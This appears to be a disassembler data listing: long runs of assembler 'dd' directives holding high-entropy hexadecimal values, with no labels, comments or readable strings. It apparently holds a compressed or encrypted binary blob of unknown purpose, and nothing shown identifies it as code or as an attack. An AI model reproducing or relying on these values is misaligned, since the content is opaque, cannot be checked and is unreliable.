dd 89FF46D1h, 59ED1851h, 58CB5201h, 92A2444Fh, 5D8D139Ch
dd 0C2A69645h, 0E5F2A55Fh, 0E2420247h, 80B87498h, 4A506DC5h
dd 949F5F34h, 481DA4EEh, 4B851C21h, 8762BE90h, 56C5D54h
dd 0BB1269B3h, 28F26831h, 9D963E08h, 5EF70105h, 9840178Bh
dd 12944D4Bh, 0D9683376h, 0D4EAEA31h, 0E99E2D0h, 0C50346C0h
dd 0F7A99A6Ah, 0B0B0817Bh, 0B75300DBh, 8FC1B594h, 87922AA0h
dd 24E6FABEh, 5CE5FFDh, 80829211h, 5386EB3Fh, 4A5B8527h
dd 5D0804F7h, 12D1C8BAh, 0CA2B5081h, 0D22E5CD2h, 81F68194h
dd 1B1AD02Fh, 95C7EE10h, 1C987782h, 0FAFBEF29h, 0C7809EA9h
dd 7A321ACAh, 0ADF3873Eh, 59B98154h, 82E3DBF6h, 839756F7h
dd 43186D3Bh, 6E2AF1B0h, 4C603Eh, 668575E9h, 4BCB29F6h
dd 0D50F8259h, 30DE7C0Fh, 108F520Dh, 0BD5AF3D8h, 0C380CFC0h
dd 0E328B203h, 5BC53DE9h, 2AAF320h, 0CC68F9F7h, 62C7744Ah
dd 0A36BA19Ch, 4A06F1ECh, 50012513h, 40D4B02Dh, 60B78996h
dd 1484552h, 0AC25732Fh, 60385C51h, 5B9592B2h, 5029190Ch
dd 0E4BC305Bh, 4D2F7716h, 992502CBh, 0C527255Ah, 68BCB002h
dd 0CEC9B7CDh, 882997F9h, 0F8289305h, 0C330A680h, 4B87B50h
dd 0E922616Ah, 0CDA888C9h, 0C020B502h, 40D5F769h, 3262B326h
dd 0ACD489C2h, 0D7625B07h, 6F3275CFh, 7BB3BD41h, 3296C91h
dd 12A3BF00h, 16B1509h, 4B2CD9FDh, 0D1178BFEh, 0A808D1C7h
dd 2D00EF99h, 36261E58h, 3317017Ch, 267A29A6h, 976CA9FCh
dd 343413D5h, 68DA44E9h, 7BB800F4h, 2506E407h, 8A2C289h
dd 18F56A6Bh, 0BFCE1A7Bh, 0EA4FA466h, 5825CDB7h, 0AD5CF6E2h
dd 2CFDF153h, 802EE32Eh, 0AD208EB9h, 0C0095E5Eh, 433CC2D2h
dd 6055CE2Fh, 2C8BC0D8h, 82C952D5h, 6CAD0CB2h, 0E2D5116h
dd 47C38E93h, 831EBFE1h, 7CD11C39h, 17627D91h, 0EE2C16C0h
dd 9313527Ah, 9651B249h, 0BA107B2Dh, 0EBAF408Dh, 47F8C24Ah
dd 0A42614B2h, 1451972Dh, 0FB8D94E2h, 0DA68848Ah, 0E4D0E872h
dd 0D9B8C440h, 4C583A5Eh, 0AE011348h, 2917812Ch, 62CC2FD8h
dd 0AD3730E9h, 1A09C161h, 0C1D0530h, 16176985h, 4047E949h
dd 61762D32h, 46D42907h, 0E9084036h, 36131D4Fh, 2D0E39F8h
dd 0BB60735Bh, 0D28CA4D5h, 2E0070B4h, 0FB016743h, 0B594F4E9h
dd 0C75E012Bh, 28936805h, 0E44EC3A2h, 99D55F2h, 0A0E3E67Eh
dd 1C0A62EFh, 7F4D0FDBh, 0F5A4C502h, 0EA85F024h, 4C0BA3C2h
dd 2AD09C80h, 4ED680Ah, 88EEA335h, 0E02D1427h, 974ADE81h
dd 57D41212h, 829E7A27h, 0D8282EAh, 2A51196Bh, 663F71A2h
dd 0EF23F294h, 341FB9C3h, 4E5E2DE0h, 0F6A129F8h, 590F9805h
dd 0FA7D0B0Ch, 2740B801h, 0B3914Bh, 7FD685D1h, 61FF9D74h
dd 224F50B2h, 403CC45Bh, 4AE6BB00h, 0D13E39A3h, 425D25EBh
dd 0D8C46B6Dh, 241DAF01h, 811E7C1h, 0BE01F892h, 13DF27C8h
dd 1DEECF70h, 0BA6D3111h, 0E299D182h, 405751FDh, 0E204F01h
dd 6FC15E59h, 0A3E902A2h, 112FF50h, 0DE1258C2h, 0E868BA20h
dd 0A512B178h, 5A1369F3h, 0FA3F0F9h, 0FC75925Ah, 0D84EBA09h
dd 5A285CC3h, 98BF184h, 2486745Ah, 0B0DF524Ch, 9BD1F173h
dd 2C70B62h, 2F7F3A9Ah, 668B6929h, 84336FD5h, 0E7A2818Bh
dd 7C40F329h, 0D725181Bh, 2CA6E509h, 2612103Ch, 8737BF5Eh
dd 54C9F3B2h, 448E626Ah, 69253779h, 0A79D455Fh, 0CFDCE5C1h
dd 2A4A9403h, 85EDB062h, 54FB2FE0h, 9BC9E1E2h, 3AD46565h
dd 232B486h, 5AF25C8Ch, 0BD58FD87h, 63E7AB6Bh, 0B752F03Ah
dd 5AF17D9Ch, 134D1296h, 0B5BFF820h, 49E9EA87h, 0E2CAD6FCh
dd 77B241EDh, 0C33F8F3Dh, 69E2398Fh, 0F3C99764h, 0F05F2562h
dd 2D30E890h, 80FA4A67h, 5144EA04h, 1C801B96h, 4C7E6DC8h
dd 0D24AD4Fh, 685761E2h, 5E2ED0DFh, 0E7D15F16h, 187642ACh
dd 0C308B23h, 1804A2E2h, 26ADE913h, 3C88E2B6h, 0C2A68E1h
dd 1312CB6Bh, 35BDF701h, 0BB247E8Bh, 5E84BE5Ah, 0B0C100B8h
dd 7FAAE9BEh, 0DD58850Ah, 8A49051Eh, 85A3F630h, 0C7835EF5h
dd 2748C24Ah, 7832CD4h, 0D918945Ch, 373A494Fh, 0F1EAE289h
dd 5869B45Ch, 0B5507C1Ch, 6CA17EE6h, 0D2342DE1h, 7B15A500h
dd 0B84D5003h, 0F40CA023h, 84F262Bh, 6B5D05F3h, 90B7C1A2h
dd 5A6600D8h, 4CD72D68h, 0E4305598h, 81091FD2h, 0E1EF702Fh
dd 0B42DC930h, 0D83101D8h, 4D7C9668h, 0D075FCA7h, 6B88FCBEh
dd 0B912CB8h, 0D35C0178h, 3057F0C9h, 5FD2D1A0h, 331DAC2Dh
dd 0E1407C27h, 1794508h, 70551F8h, 12017F31h, 0FCEE0CE9h
dd 47FC83B4h, 0E40153EAh, 7EA405E0h, 69F4E181h, 0C246F23h
dd 76836822h, 50D6500h, 3FE91328h, 59C020A7h, 9902278Ch
dd 3231B850h, 0EBDD8272h, 95F22713h, 0FE0BAF20h, 619E4AEDh
dd 0BB00F66Bh, 4FE2F47h, 6A30A09Fh, 2474D92Eh, 180EBC1h
dd 3525A8E3h, 28C8FF64h, 0E812AA8Ah, 2684B6E9h, 4B5E8AAAh
dd 842AE58Dh, 0AB8BBA73h, 82E3AC4Ah, 7D129CE9h, 6B570E1Ah
dd 21C6ECFCh, 129890Ah, 3A8FD307h, 6ABF1004h, 0D080540Fh
dd 305CFACFh, 770C14BCh, 0C2E0757h, 94A0F4D1h, 9F78501h
dd 0A788E9FAh, 0BD26B372h, 6855829Ah, 0F5542897h, 773BC862h
dd 68A6B94h, 0F5163140h, 9906C8BDh, 0DE41C543h, 7329F85Bh
dd 2C62F5F9h, 20814517h, 2AD617B4h, 626050DDh, 0B71B185Ch
dd 6E79B823h, 56193907h, 0FAF0EFBEh, 12F70965h, 0C8F403E9h
dd 0B6125C7Dh, 6FA83080h, 83E744B7h, 0BCA52C86h, 4152A2B7h
dd 368449Ah, 0D4BBE8A4h, 97B820E1h, 3566BD00h, 24C041FCh
dd 5DD229AAh, 0B9CB4B68h, 62FA810Eh, 1073B20h, 2027691Dh
dd 112ED94Ch, 980928F4h, 0E440932Dh, 0F4EB9C0h, 323A7ED9h
dd 5D72A8D3h, 866F7CD6h, 0B19D29Ah, 205F8959h, 0B757E0C8h
dd 224BC6A4h, 0EA2724BDh, 0B44DBCC4h, 12553B81h, 92E31F69h
dd 3C56FD04h, 1647AC30h, 9C2D5D0Ch, 0DE7A7D22h, 4D47C324h
dd 72240DEDh, 98BABD19h
dd 0E37D87F7h, 2D1A126Ch, 5CA10E3Ah, 11808C2h, 8B871041h
dd 0C517E6B7h, 1A7BA764h, 0CE6AB302h, 3E33E14Ah, 0FABE7834h
dd 0CC111636h, 89790931h, 0E984D365h, 0D8AF0921h, 124AABA2h
dd 6196A8E9h, 2C35E967h, 0B592D4Eh, 0F2037695h, 6CCDF87Ah
dd 2D7AFD79h, 7BA72BF9h, 0ABC9D935h, 63847C35h, 0BE00B0ACh
dd 40092011h, 0FF8F301h, 28249DB2h, 291759C5h, 832263F3h
dd 0EC20FA90h, 0A7BA0132h, 295A2634h, 9729BFD3h, 4652DEEDh
dd 4903D701h, 522E2C5Dh, 0C82EAEE7h, 6A751811h, 0DE03DB54h
dd 0B42B623Bh, 8A7801ABh, 54074C63h, 6707189Eh, 2B5B52E9h
dd 5A2676E3h, 4AFEA104h, 277824Dh, 58C247ABh, 0ED80F35Eh
dd 921539F9h, 0C0E84A01h, 3DCC688Bh, 6549369Eh, 0DF0E0B73h
dd 0EA83665Eh, 2859D50Ah, 0B06E64Ch, 636A1DEEh, 41B25A02h
dd 5066810Fh, 0A62E6D68h, 0AE10147Bh, 286C0427h, 0C10140B9h
dd 802DB062h, 6358880Ch, 0E131E97Bh, 8336D87Fh, 1402C027h
dd 10199922h, 68668158h, 7CD21DD8h, 0C1764F97h, 3FCA3190h
dd 0D2C0F182h, 0C1CD05CEh, 0C00AA46Ah, 7B652A2Ah, 0A80C3D67h
dd 316064F0h, 895D12E8h, 27C1B6C3h, 88D71C2h, 8004D866h
dd 44AB4FEDh, 133EF343h, 29441DCDh, 5136ED17h, 6988B407h
dd 0A341177h, 0BB81157Ah, 0F7704592h, 4B28E8D7h, 86D162A9h
dd 4B4F048h, 123BADCDh, 294308h, 0F643B753h, 0EF0780DFh
dd 5BFD282Eh, 7E59EB02h, 65AA2099h, 0BEFAE8B8h, 67222341h
dd 1EE90BD2h, 0F04BE068h, 0F04A0139h, 59873732h, 432BA488h
dd 87277C8Ah, 55B202CEh, 92995E54h, 5F29E833h, 5C3AD1CCh
dd 8C808B23h, 29DE75F7h, 0C32DD67Dh, 0CB06D12Bh, 4925D344h
dd 16A2E4F9h, 1447EABEh, 0B55B3CC2h, 870C807Fh, 29418446h
dd 51B8F5h, 72C97CCBh, 5B7F9225h, 2CA5950h, 4F224858h
dd 3AA91F85h, 13C74C8Ah, 550E9259h, 97CE75Dh, 5A5ABBE9h
dd 5159CF0Bh, 0BA730457h, 58A59CAFh, 8E5B42B0h, 5FF73FC2h
dd 3C2212E9h, 0CF680B21h, 201C660Bh, 0AC09F635h, 574CB151h
dd 3B1B1222h, 86891A6Ch, 2DABF079h, 0E905E897h, 85EE96B7h
dd 815355E2h, 59B2B25h, 42F47C16h, 37C4B55Bh, 0CFB04C30h
dd 0BB53F0h, 6CB87C3Eh, 576F492Dh, 0D8291105h, 0AFB002E9h
dd 0BFF07288h, 8B5BE5E0h, 806B0189h, 0C9451113h, 4E32267Eh
dd 66EE79C1h, 0C0DCF64Fh, 685AD56Fh, 28BB41A4h, 832AD20Eh
dd 0D48FE927h, 821624FBh, 0B9720910h, 0EF843827h, 836809C4h
dd 0C72FEDDEh, 565F097Ch, 0D63CB1DDh, 0BFC7E430h, 700129C9h
dd 29B7CAC2h, 8FF540Eh, 0D92F83FBh, 0E2954AB0h, 0A1704BE9h
dd 35D4E1EAh, 0F8A38F20h, 0B702EC11h, 558EC3AEh, 456CBDCFh
dd 5DFAE814h, 0F62B70FFh, 29375B7Eh, 0A03810C3h, 0ABFB2035h
dd 45FD8713h, 0DF298101h, 457A8CC2h, 0ACA8541Fh, 45A090B6h
dd 572C808Eh, 1284940h, 5277FAEBh, 0E55ADB90h, 0D743F608h
dd 0AD29E0FDh, 0F69C4DECh, 1E746800h, 0C5E2893h, 0EE83DEF7h
dd 0D0ABF3F2h, 0A8BADAD3h, 7F5CE249h, 0DA033DD3h, 2DD4DEBCh
dd 2472C44h, 1002E25Bh, 0C000FB44h, 0D0F602E0h, 10BB353h
dd 865BD828h, 0ED639549h, 0CADE8C1h, 3F061A69h, 6A06512h
dd 156500DAh, 85EA8128h, 5009385Eh, 71E614E9h, 0C00C0865h
dd 807AD01Fh, 0C9FE02E1h, 0EF86D9F6h, 1F3D5290h, 9E79CE80h
dd 0B6D601C6h, 8F5F6583h, 5EA95872h, 86406218h, 5BDF3101h
dd 0D186032Eh, 0EC6F7E7h, 481063Dh, 0A1E59EC4h, 0D19E1CABh
dd 17004CD0h, 0B12C754Fh, 0F66BF58h, 8D55B790h, 20AB35F5h
dd 89BD187Bh, 89EC51B1h, 0F77C62E9h, 805A3726h, 4805840Bh
dd 0BD89777h, 3FF9CCDh, 7BE30C80h, 0F9E9FC6Ah, 581AA39Ch
dd 0EC9840EBh, 2ED53E7Ah, 2029F5A6h, 0EB8BBD08h, 989DB994h
dd 0B7E1F6E8h, 15DF26A9h, 102C109Ah, 803B8BC2h, 0CB286407h
dd 8AEB6259h, 0AE8D0249h, 10C95434h, 0AADEE90Bh, 4DB480F7h
dd 9D420A18h, 770B64D3h, 0FD5D9A3Fh, 9C7037A2h, 8840B500h
dd 0EB3AA3E8h, 0CCBACCD5h, 0F4400725h, 20579201h, 954CEAD1h
dd 9B4827CFh, 85C4FC43h, 70F91F22h, 0DBC7B797h, 0DB016BA8h
dd 0E91E3F25h, 6C7C0C41h, 573630C1h, 0E31B3070h, 331A097Ch
dd 0AEECB01h, 0D5105E08h, 62D52D26h, 1CD72F16h, 0F9C5B78Fh
dd 813471A7h, 3251C2Dh, 5F29477h, 508B4A07h, 5923359h
dd 123B68B8h, 0C124BB61h, 0A258D731h, 3F01396Bh, 26900089h
dd 0C98100EFh, 7305033Eh, 90D171F7h, 9780B0E0h, 0C057EF1Ah
dd 97378530h, 4921C3A2h, 0F0E5165Fh, 500394DAh, 0F1966851h
dd 2D63CA4Dh, 0F0E2E985h, 0CF6BFEF7h, 0DBDB0004h, 0EC5BFC28h
dd 0A09C4EF4h, 0E9185AACh, 0C2C38456h, 5E17122Fh, 0A95CAE5Bh
dd 48F577C1h, 0E10529D2h, 92D92071h, 0BBB53B39h, 0F6E90931h
dd 70DC5424h, 72499068h, 109CCB84h, 17FCC30Ah, 0BCF7C9B0h
dd 0DD88346Ah, 3B7904BBh, 856794B6h, 182CFA52h, 0C8B70B0Fh
dd 607B6E68h, 3A805D0Dh, 0B7589573h, 74366882h, 57136C5Bh
dd 41452EABh, 6FD95DC5h, 73689BCDh, 7822BE00h, 0EEC16EA3h
dd 814E0300h, 0D46F02F6h, 0D68BB70Dh, 0CAF88850h, 735A2B1Fh
dd 24BCDE30h, 7B29E84Dh, 402D04D0h, 0BC552106h, 0A2D1B30Fh
dd 1E10DEF8h, 0FF60B17h, 465ADABAh, 66D5DBA0h, 70745327h
dd 0BFE29F32h, 0E9020A0Fh, 74F89Dh, 8C3299BBh, 0A72E5D0Eh
dd 0B7494FAEh, 0BD11D1B8h, 2B191287h, 0E086901h, 9F932808h
dd 0FE623553h, 6647755Fh, 0F197B2AAh, 50316A5Fh, 0C35A85E9h
dd 4F687F88h, 239E45FAh, 6F3FA415h, 0E09F9DE2h, 4E49181Ah
dd 6186BCBBh, 98D4E904h, 1F6E44AFh, 3E555833h, 7FDBB85Ch
dd 9F3ABE89h, 3AA20B4Ch, 0F1C87FC2h, 0AF5E2A02h, 522946D2h
dd 46F324BFh, 355EC250h, 9FF51CD5h, 0B525756Ch, 9C928Eh
dd 91ECA0AEh, 0A2D09576h, 77D70506h, 1A425DFh, 6717FF8h
dd 3559C829h, 0E90A0189h, 9A0E7A12h, 0ED003242h, 0E5C2140Ch
dd 7FD34189h, 7807A740h, 5BE92931h, 5847B38Ah, 19CA17EFh
dd 0DED3E1C8h, 3EA6C906h, 0CAD89B7Dh, 96D958A5h, 0B1E29CAh
dd 0B283C884h, 0D74F7E8Eh, 0CB8A7C12h, 4EE8AC4Ah, 9392ADC0h
dd 0EAD373F7h, 59522551h, 81057346h, 0C5EB41F1h, 4601D6E8h
dd 29235A4Dh, 16D5FBCFh, 0C33E2C08h, 8B49E935h, 0F9F962FBh
dd 0D811C104h, 0EA85F013h, 0DAB9EE70h, 88C2839h, 61E64BD4h
dd 123CD321h, 0FB778717h, 30A12274h, 0BF3D376Bh, 0B6A7C2D2h
dd 0AD91615Dh, 5BB7F23Eh, 20D305F2h, 6EE95745h, 2A289BBEh
dd 761A391Dh, 1D6A0D47h, 7A2D2080h, 0A3AFB81Fh, 5967E07Ch
dd 476A9D56h, 88770809h, 142581C8h, 2CE500FEh, 0E681473Eh
dd 614867EFh, 0BDF60420h, 6FD0C807h, 5A1D79FBh, 0A157A03Ah
dd 54D67BB2h, 56BF6A94h, 0BC8C897Ch, 0E96D62D6h, 0D27DF060h
dd 0B34BFE96h, 579C115Dh, 2D527020h, 0A6E1CE65h, 890D8156h
dd 8606E9CFh, 0CAB9287Fh, 133BC041h, 1860B226h, 0B2187FF1h
dd 0C2800395h, 51EA28B5h, 0DDF637A0h, 0E9CDFE1Eh, 25E3A057h
dd 5F3E4548h, 0F8113A12h, 7DF4D05Ch, 0B8402DF8h, 335177ADh
dd 0D77DE762h, 8FDACFF1h, 0E70EC5A1h, 0ED601F7Eh, 4CF1715Eh
dd 48062812h, 2443B545h, 5672C70Fh, 3E09322Ch, 0C71520Eh
dd 7FE1321Ch, 5910C730h, 99013045h, 31D2BCFDh, 9B7B30E8h
dd 0A47733B7h, 0B4D372A8h
dd 0C632E974h, 62092AD3h, 3AADC030h, 0A47A2610h, 7EAF0736h
dd 8729754Eh, 0F48654CEh, 4508E166h, 0A931595Eh, 5EA26BAFh
dd 5805A352h, 300C76C2h, 8B0473A1h, 0C593E97Fh, 0D2B740FCh
dd 0BD46AA07h, 1A8CB480h, 0EF205995h, 8AD6B6E4h, 3AF65105h
dd 90F043C1h, 0F78DF23Ch, 2E16ED36h, 0CA810912h, 0DA76DC25h
dd 0B9E2125Ah, 1F68F0A7h, 0E6FA438h, 104E4BBDh, 170A9974h
dd 0D7010Bh, 7621CEEBh, 0CB68290Fh, 590F084Ch, 0F77E89E9h
dd 0C4D0A030h, 45015299h, 4F1CCE0Eh, 7B3C34F1h, 0A4DA2D25h
dd 92DD9DA1h, 5B245C14h, 1822BD6h, 18364498h, 65D5E956h
dd 0B1CF6F4Dh, 0C219345Bh, 0E455A857h, 0B408F0E8h, 0FB9016Bh
dd 0E9257D39h, 7FDF6CC7h, 617B9F29h, 0BA54510Eh, 0E32C510Ah
dd 3F2787E9h, 47A9A58Bh, 0BC4477CDh, 7E5D29BBh, 0FA6DBE29h
dd 242B8C10h, 510C8721h, 4B526701h, 90AE37Bh, 0D0F55D54h
dd 4A5005BBh, 0BC2955F4h, 440C2707h, 0DC2B797h, 0BFFE457Fh
dd 478F167Ch, 0C4E56540h, 80A26427h, 3B39A385h, 2ABD4604h
dd 26C2D68Ch, 3D0557AFh, 0A43CE85Eh, 0FC53D404h, 0E07AA12h
dd 699F5701h, 355820DBh, 48B02A87h, 45131D0Eh, 0A29B90FDh
dd 1F600272h, 1B40870Ch, 58E7F848h, 342E4085h, 0B763F73h
dd 0C7290480h, 0CAB1B802h, 4EB4105h, 13C932FCh, 2678B0B8h
dd 0C52BE50Eh, 0A288E853h, 5E0689EBh, 105D5A1Fh, 9D0B6974h
dd 7769B2D1h, 0E912B51Ch, 8220B93Bh, 60BC3874h, 5548D075h
dd 0F7EC3680h, 0DC6DC50Bh, 9C65E0Ah, 0B6D32D3Fh, 4F03E0A7h
dd 0A94CD37Ah, 8580A401h, 0A88A68E9h, 7D46F7A8h, 29EC1285h
dd 525242F8h, 0FD56D8E9h, 9722C0Eh, 859504D0h, 16C78000h
dd 0EFEAF728h, 12F542EBh, 294FB177h, 0DD018A21h, 0A73ED2Bh
dd 3AFB6809h, 4EBFD796h, 73504955h, 78DA94Bh, 35D3C63h
dd 0A9B8C0D4h, 0DE06809h, 0B7A3BE57h, 59AF8F65h, 98496F9Dh
dd 873E115Fh, 88522B87h, 3204EBFAh, 7BA95007h, 31E9D43Ah
dd 4D10F71Ah, 3E58F94Bh, 6764BE02h, 0FA804612h, 0B9ED98A0h
dd 0A9C2E910h, 0DC14AE48h, 8ADE641Ah, 85387488h, 40AF66E9h
dd 6FF2C7D8h, 0DEA002F1h, 6095C65Fh, 0BF975CB6h, 307C5846h
dd 0C95CE6F1h, 0A6F2077Ah, 487E25E8h, 0CD135D52h, 15ADC404h
dd 0AEC211C2h, 4DB3078Dh, 0CFD1E264h, 0F3C8310Bh, 12592581h
dd 52FEE62h, 1EEFC355h, 0D4B90C00h, 4148CA27h, 5FE10081h
dd 0E939D02Ch, 62C4880Ch, 0BCADC329h, 7FD2C84h, 2F75D188h
dd 623BDEB1h, 1577584Dh, 382DBC00h, 6E4209h, 22E97CF1h
dd 586394F5h, 0AEA51E9Dh, 4BF47927h, 82F5C2B2h, 1155D91h
dd 0FC92C180h, 481D2C23h, 13BAC828h, 0D8F07BE9h, 46250BBEh
dd 51E44971h, 37B29A22h, 0B2EF5EF0h, 91D2CDD3h, 66F8139Eh
dd 8622B5D3h, 9FB17834h, 0C753F68Bh, 0E05AE90Bh, 0A9D03124h
dd 0D97EB938h, 0F28E000Fh, 66697725h, 43AEFC0Ch, 2D26D345h
dd 7825FF2Bh, 0DD110B18h, 6C702330h, 3CDEA0B5h, 98641A33h
dd 0CF59951Ah, 5FFAE962h, 57C77AE2h, 0CC6E0728h, 8F57C11Fh
dd 6E36F1h, 9F6F0551h, 12FA91Eh, 30567C3h, 70EF4B92h, 3940EDE0h
dd 1D7BC620h, 27291250h, 5C782AFCh, 898C96D2h, 8D5C778Bh
dd 52B82B62h, 287C0D30h, 0F8F53A19h, 59B52F90h, 0C4AA6F8Ch
dd 0B4EA0964h, 65EA8FD5h, 39ABEC1Fh, 3FB92970h, 0F9A84E57h
dd 0F876D9C9h, 0E970402Dh, 0DC1D4B8Fh, 3E09689Ch, 0D77D0670h
dd 97609632h, 61827F4Bh, 0E0342F1Dh, 4DEA1C87h, 802FFD31h
dd 3938E508h, 0A66825E2h, 0CCB76E6Ch, 0B7FE6C30h, 7625962h
dd 7C64B833h, 0A31A60E3h, 82A0962Dh, 7091F0Bh, 8F22971h
dd 0E525082Fh, 0C9D3983Fh, 376246E9h, 7D7B165Dh, 0CFA0BE16h
dd 2F047DA2h, 25E94F35h, 685F3BD0h, 461A473h, 7C10A7B9h
dd 5B5F8001h, 0FE0A83EFh, 5B1EA068h, 0DA257C43h, 5E184052h
dd 60CD4801h, 95590B40h, 98F12122h, 5C899FF4h, 17CDE439h
dd 8B081E68h, 0D129111Dh, 984F5358h, 0EC86C3F5h, 4BD99DACh
dd 35E7844Fh, 4BABDBBFh, 0BE13868Ah, 0FFF434C9h, 27D10744h
dd 0BF2D74AFh, 25C2528h, 3FB96853h, 57932964h, 2C464DD9h
dd 5985922Bh, 0AD970CB2h, 546DDD45h, 0C8E9D0E8h, 0C5BD2095h
dd 5AEC4674h, 4006B978h, 0EC15808h, 111E6944h, 8CF30C9Eh
dd 66364991h, 29360618h, 257CB00Ch, 1603E10h, 7090C90Bh
dd 96130C20h, 0EB1C4336h, 43C37701h, 89F5F814h, 0D25547Ch
dd 0BDDE34E2h, 16BFB368h, 0C6A9C80Fh, 9282F477h, 40BFFA3Ch
dd 0E6048118h, 47E1522Bh, 28FC09EBh, 0D4BDE720h, 5C601953h
dd 0F56E3FAAh, 74E91323h, 8F79A9F0h, 64BAD6A2h, 0EFFC11Fh
dd 19EB4DD7h, 0B75320DDh, 23DB1102h, 0E303E9C1h, 0E1DE03A7h
dd 6D1D397Ch, 5AE2F1B0h, 0C175272Dh, 6A03C3h, 7800511h
dd 3500534Fh, 17205982h, 2C44A02Dh, 42AA98BCh, 99D95EF3h
dd 0D42A2EACh, 6444599Fh, 1730E8ECh, 4EC1478Fh, 0EA0486A1h
dd 65A47327h, 5A2716B8h, 8B922C4Ch, 301B602Ah, 5AAC874Ah
dd 56FCD3DFh, 551805D9h, 946F8251h, 0A8045900h, 7CB5F452h
dd 983F256Bh, 9D9F70D1h, 6AAD5C20h, 0A5969924h, 4C9D1E1Eh
dd 23832D0Eh, 8AD996BBh, 470D751Fh, 0C550090Ah, 0E7F15895h
dd 98DE096Ah, 31B5E2A3h, 2B23EDF1h, 227F8FE1h, 54C189F8h
dd 28707A5Eh, 96264A68h, 2CB3903Eh, 8D12CA5Dh, 0DA1042AFh
dd 870585Bh, 9D63EFF8h, 0C1926818h, 237F08BBh, 89AD808Ch
dd 1A3AD89Dh, 13C51240h, 0EEAF65EAh, 0E45C4719h, 4BA2347Ah
dd 2A05BBA8h, 0B3DFD5EEh, 3B680D86h, 0A2C6A72Fh, 5D78B288h
dd 0B5CA0D02h, 45198175h, 6F3CDA28h, 27DEE110h, 17A7F121h
dd 0A8A352FBh, 722E81BDh, 8403F75h, 137F510Fh, 0F354292Fh
dd 0A10C4159h, 11B51C10h, 5AB24AAAh, 0AFF40836h, 2B62913h
dd 71512D0Eh, 56535741h, 0B5B64152h, 4406B2Eh, 0D426D55Bh
dd 73C27D29h, 2FCC951Dh, 835DEE07h, 6CF402C6h, 0B747FF93h
dd 77BC27D5h, 0FB73D2DCh, 8883E675h, 89190944h, 40405DEFh
dd 45595568h, 4D098030h, 27C10764h, 9DF908EAh, 0C955CA73h
dd 230217Dh, 91591ABh, 34DD40E4h, 0BB530072h, 18CA3E72h
dd 0EA5AFDE9h, 73CF0C67h, 0FFC24E62h, 0DC96596h, 81EF725Ch
dd 287BE4F7h, 104F69C5h, 17F484E8h, 0C4EEA9B2h, 77A0F7E9h
dd 68C22680h, 0AFC52C96h, 5C70E914h, 0EAB0A297h, 55185FA5h
dd 0B4B7194Dh, 5E344761h, 0D12D7302h, 34B56171h, 907943E4h
dd 12C18ADh, 5FE91841h, 0BBCA3F3Eh, 5D05129h, 0B0B30408h
dd 4A9A9117h, 0F3903472h, 7D094098h, 3261DD5Dh, 7F80D54Ch
dd 15827312h, 2AD00176h, 420C6008h, 14564D7Fh, 991BC068h
dd 5F34E9C5h, 5BFC49D1h, 9D8B9CD5h, 9CB8BEB0h, 0D2623304h
dd 5BE966E9h, 0F85EF212h, 397509E2h, 17515h, 355AE94Bh
dd 27596C47h, 13B64407h, 0FA1F7258h, 152BA901h, 190318F6h
dd 8F3EB8E9h, 9DEC5D24h, 4E3A7827h, 0CA19B289h, 6102AE51h
dd 0D063E460h, 0B1AA0996h, 5C8EBE0Ah, 0D1E3533Dh, 213A65CEh
dd 0D2B42E07h, 99381D01h, 4492BC63h, 0CBF1813h, 0ED30EEDDh
dd 19AA9284h, 10F1A66h, 8095EFDh, 8969E354h, 0D0D2DE24h
dd 194B4EE9h, 8629E589h, 6019E3D2h, 0B1D8418h, 0DD29342Ch
dd 8081382h, 591DACA2h, 5DAFF889h, 12276014h, 0E5006885h
dd 9506A0ABh
dd 305782D5h, 8071194Eh, 80040AB3h, 0E3C016CBh, 984D52C1h
dd 6BCCFE01h, 0B8ECE0E5h, 2D669D0Fh, 26A011F4h, 5F9E70F3h
dd 0A6A88544h, 5E17E834h, 858B967Dh, 2F65F14Ch, 0A661698Dh
dd 0E9E0C868h, 61822D76h, 0C87429D1h, 0AC14809h, 43D987B0h
dd 0CBE43173h, 3EB208D4h, 935F167Bh, 1645704h, 5610B7B3h
dd 48958E6h, 165D600Bh, 291EC7ECh, 0BAEECEFEh, 877203A0h
dd 0CCF35EF7h, 5F7135C0h, 0BA53215Ah, 6BEDFB0Bh, 40E6B898h
dd 0C1E607Ch, 739513AAh, 9C7562C7h, 0EA88834h, 0BE6911h
dd 0B8DF49EEh, 0B1F231DDh, 94540849h, 38C95A2Dh, 0D01DDF04h
dd 0F3692D2Ch, 0AFD754B4h, 3C5B76DEh, 0BA045214h, 0BF0263Ah
dd 4094A780h, 0E91615FCh, 0D948DF17h, 0C173C2E4h, 93E7D20Eh
dd 0FE0085D3h, 0A422C905h, 58C1FF44h, 0E91A28EEh, 25EC6D24h
dd 10696667h, 0C96FC132h, 0E800C33Dh, 3C462A56h, 61C7813Eh
dd 1E60E903h, 8101356Fh, 349386B6h, 3D412576h, 3595CDEBh
dd 6A074EE8h, 601B0364h, 5C31595Bh, 0A59C11BAh, 1420DF68h
dd 0D42CD084h, 89885209h, 0B576A82Bh, 0A67E062Ch, 6947D24Bh
dd 0B2F36F6h, 0F7E50121h, 953052D7h, 3129819Fh, 42826E76h
dd 251C5E42h, 634C58F1h, 0A9BA4DE9h, 79D5BB02h, 0AD767E2Eh
dd 3BF9B588h, 4DF17879h, 1F5B1D72h, 0B18BA51Eh, 37A2AFCh
dd 761D9ED4h, 71300719h, 0C25A743Ah, 0CC5F1CCCh, 0B3E9C0Ah
dd 0C77363F7h, 0C9587949h, 14196E41h, 9984C1BCh, 762D0B0Ah
dd 2792A0CBh, 62A28245h, 24D5B9FAh, 7D01C0Ch, 0A8229E68h
dd 8BD0F6EEh, 0F9361FD8h, 4D5B642Ch, 0DBF70700h, 0BDA9DCE9h
dd 1447A266h, 0B909F84Bh, 0CB119520h, 0D3E9ED1Fh, 6822605Bh
dd 76661427h, 48CCC093h, 0BE051CF2h, 0DC464F35h, 0EE6E85AEh
dd 0FB633F31h, 19176800h, 4FBDAAA6h, 64792DF7h, 0CEBD5193h
dd 0F1DEE9B0h, 0BD80E4B5h, 0A58978E5h, 7A723BBh, 450A306Eh
dd 56194FE2h, 0F22D4302h, 0C13C9808h, 74005CFh, 9DD1685Dh
dd 0BA75A989h, 73095F33h, 553F368h, 0D02816C1h, 2CC8665Ah
dd 74F0E061h, 0F692EC04h, 6BD2F68h, 0E92111B6h, 524AC902h
dd 7F8405C2h, 895DB579h, 516D9C7Fh, 685500B6h, 2F917E3Dh
dd 0C1315D26h, 4B08EB19h, 0A3D8F02Fh, 0F3381B41h, 682F0F20h
dd 4BEF725Dh, 25A180B2h, 76012264h, 3A570549h, 0E1D4096Eh
